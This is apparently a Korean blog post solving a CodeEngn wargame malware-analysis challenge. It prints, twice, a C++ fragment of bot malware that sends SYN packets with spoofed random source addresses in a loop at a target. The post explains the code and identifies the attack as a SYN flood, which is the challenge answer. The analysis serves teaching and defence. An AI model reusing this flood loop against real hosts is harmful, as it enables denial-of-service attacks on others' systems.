블로그 이전했습니다. https://jeongzero.oopy.io/
[CodeEngine] Malware Analysis L1
본문 바로가기
워게임/CodeEngn

[CodeEngine] Malware Analysis L1

728x90

1. 문제


다음 파일은 악성코드 소스의 일부분이다. 이것의 공격방법은 무엇인가
ex ) ddos (정답은 모두 소문자, 띄어쓰기 없음)

cpp 파일이 하나 주어진다. 코드 분석을 바로 들어가보자

2. 접근방법


addr_in.sin_family=AF_INET; addr_in.sin_port=htons(TargetPort); 
addr_in.sin_addr.s_addr=TargetIP;

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;

lTimerCount=GetTickCount();

while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
	i++;
	tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);

	psdHeader.daddr=ipHeader.destIP; // destination IP setting
	psdHeader.mbz=0; 
	psdHeader.ptcl=IPPROTO_TCP;
	psdHeader.tcpl=htons(sizeof(tcpHeader));
	ipHeader.sourceIP=htonl(lSpoofIP);

	tcpHeader.th_sport=htons((rand()%1001)+1000); // source port rand generate
	tcpHeader.th_seq=htons((rand()<<16)|rand());

	psdHeader.saddr=ipHeader.sourceIP; // source IP setting

	memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); // 위에서 세팅한 psdHeader 구조체를 szSenBuf에 복사. 아마도 
	memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); // TCP 헤더 복사
	tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
	memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
	memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
	ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

	rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
	if(rect==SOCKET_ERROR) return false;

	if((GetTickCount()-lTimerCount)/1000>len) break;

	if(bRandPort) { TargetPort=brandom(1000, 10000); } // target port rand generate
	szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
	szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
	//source IP rand generate

	Sleep(delay); 
}

xClose(sock);

1번 문제라 그런지 쉽다. while 문 전의 과정은 패킷 전송을 위한 초기화 과정이라고 보면 된다. 간단히 보면

addr_in.sin_family=AF_INET; 
addr_in.sin_port=htons(TargetPort); 
addr_in.sin_addr.s_addr=TargetIP;

ipHeader.h_verlen=(4<<4|sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1; ipHeader.frag_and_flags=0; ipHeader.ttl=128;
ipHeader.proto=IPPROTO_TCP; ipHeader.checksum=0; ipHeader.destIP=TargetIP;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
tcpHeader.th_flag=2;
tcpHeader.th_win=htons(16384); tcpHeader.th_urp=0; tcpHeader.th_ack=0;
  • struct sockaddr 구조체에다가 주소체계, 실 IP 를 저장한다.
  • ipHeader, tcpHeader를 세팅한다
    • Target IP, Target port 세팅
    • tcp Header에서 flag를 2로 세팅 - 해당 패킷은 syn 패킷을 위함이다

이제 While 문을 돌면서 패킷을 계속 보낸다

while(g_cMainCtrl.m_cDDOS.m_bDDOSing)
{
	i++;
	tcpHeader.th_sum=0; tcpHeader.th_dport=htons(TargetPort);

	psdHeader.daddr=ipHeader.destIP; // destination IP setting
	psdHeader.mbz=0; 
	psdHeader.ptcl=IPPROTO_TCP;
	psdHeader.tcpl=htons(sizeof(tcpHeader));
	ipHeader.sourceIP=htonl(lSpoofIP);

	tcpHeader.th_sport=htons((rand()%1001)+1000); // source port rand generate
	tcpHeader.th_seq=htons((rand()<<16)|rand());

	psdHeader.saddr=ipHeader.sourceIP; // source IP setting

	memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); // 위에서 세팅한 psdHeader 구조체를 szSenBuf에 복사. 아마도 
	memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); // TCP 헤더 복사
	tcpHeader.th_sum=checksum((unsigned short *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));

	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
	memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
	memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4);
	ipHeader.checksum=checksum((unsigned short *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader));

	memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));

	rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader),0,(struct sockaddr*)&addr_in, sizeof(addr_in));
	if(rect==SOCKET_ERROR) return false;

	if((GetTickCount()-lTimerCount)/1000>len) break;

	if(bRandPort) { TargetPort=brandom(1000, 10000); } // target port rand generate
	szSpoofIP[0]=(char)brandom(0, 255); szSpoofIP[1]=(char)brandom(0, 255);
	szSpoofIP[2]=(char)brandom(0, 255); szSpoofIP[3]=(char)brandom(0, 255);
	//source IP rand generate

	Sleep(delay); 
}

코드가 쫌 이상하긴 한데 초기에 설정된 Target IP, Target Port와 Source IP, Source Port를 설정한다

  • source IP는 ISpoofIP 변수를 이용하는데, 해당 변수는 매 루프마다 랜덤하게 생성된 IP이다
  • target port 역시 1000 - 10000 사이의 랜덤하게 생성된 port이다
  • source port 역시 랜덤하게 생성된다
  • sendto로 ip+Tcp 헤더로 구성된 패킷을 보낸다. 왜냐하면 초기 세팅에서 tcp flag가 2였기 때문에

    flag = 2 라는 소리는 syn flag가 set 되있단 소리이다. 만약 ack 패킷이라면 위 사진처럼 0x10가 flag 값일 것이다

3. 풀이


코드 분석을 통해 알아낸 정보는 다음과 같다.

랜덤한 IP와 랜덤한 Port로 타겟이 되는 IP에 랜덤한 Port에 패킷을 보낸다. 이 말은 Target에 열려있는 포트를 찾으려는 행위로 판단된다. 또한

뭔가 타겟에 지속적인 syn 패킷을 보내는데 이와 관련된 네트워크 기법들을 찾아보던 중 syn flood를 찾았다. tcp connection을 시도만 계속 하게끔 한다는 말은

https://www.researchgate.net/figure/The-TCP-SYN-flood-attack-Hands-on-lab-exercise-on-TCP-SYN-flood-attack_fig3_320654932

위 그림과 같이 해커가 타겟이 되는 호스트에 지속적으로 패킷을 보내게 되면 tcp connection 부터 시작되는데 target에서 tcp 연결을 위해 syn+ack을 응답으로 보내지만 해커는 ack을 보내지 않는다.

즉 타겟은 tcp 연결을 하려고 계속 기다리고 있고, 그 때에도 해커는 랜덤한 IP와 port로 또 syn을 보내기 때문에 타겟 내부에서 버퍼가 넘치게 된다. 이를 syn flood 공격이라고 한다. 이도 어찌보면 dos인데 dos는 정답이아니네.. ㅋ

syn flood를 막으려면 syn 패킷의 개수를 제한해두고 그 이상이 들어오면 연결요청을 막아버리는 식으로 방어하면 된다.

SYN-Flood attack ⇒ Dos ⇒ Target의 자원 고갈 시키기

저렇게 정리하면 될듯

4. 몰랐던 개념


  • none
728x90

'워게임 > CodeEngn' 카테고리의 다른 글

[CodeEngine] Malware Analysis L03  (0) 2021.01.21
[CodeEngine] Malware Analysis L02  (0) 2021.01.20
[CodeEngine] Basic RCE L20  (0) 2021.01.18
[CodeEngine] Basic RCE L19  (0) 2021.01.13
[CodeEngine] Basic RCE L18  (0) 2021.01.12